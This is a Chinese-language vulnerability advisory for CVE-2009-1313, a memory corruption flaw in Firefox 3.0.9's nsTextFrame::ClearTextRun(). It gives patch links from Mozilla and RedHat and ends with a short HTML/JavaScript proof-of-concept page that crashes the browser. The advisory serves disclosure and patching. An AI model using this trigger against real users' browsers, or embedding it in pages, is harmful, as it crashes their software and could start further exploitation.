Firefox nsTextFrame::ClearTextRun()函数远程内存破坏漏洞

2009-04-2800:00:00

Root

www.seebug.org

EPSS

0.932

Percentile

99.1%

JSON

BUGTRAQ ID: 34743
CVE(CAN) ID: CVE-2009-1313

Firefox是一款流行的开放源码WEB浏览器。

Firefox的nsTextFrame::ClearTextRun()函数中存在内存破坏漏洞，如果用户受骗打开了包含有恶意内容的网页就会导致浏览器崩溃。安装了HTML Validator附件组件的用户尤其受这个漏洞的影响。

Mozilla Firefox 3.0.9

Mozilla

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

<a href=“http://www.mozilla.org/” target=“_blank”>http://www.mozilla.org/</a>

RedHat

RedHat已经为此发布了一个安全公告（RHSA-2009:0449-01）以及相应补丁:
RHSA-2009:0449-01：Critical: firefox security update
链接：<a href=“https://www.redhat.com/support/errata/RHSA-2009-0449.html” target=“_blank”>https://www.redhat.com/support/errata/RHSA-2009-0449.html</a>


                                                &lt;html&gt;&lt;head&gt;&lt;title&gt; Bug 489647 -  New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;div id=&quot;a&quot; style=&quot;white-space: pre;&quot;&gt;
m&lt;/div&gt;
&lt;script&gt;
function doe() {
  document.getElementById('a').childNodes[0].splitText(1);
}
setTimeout(doe, 100);
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;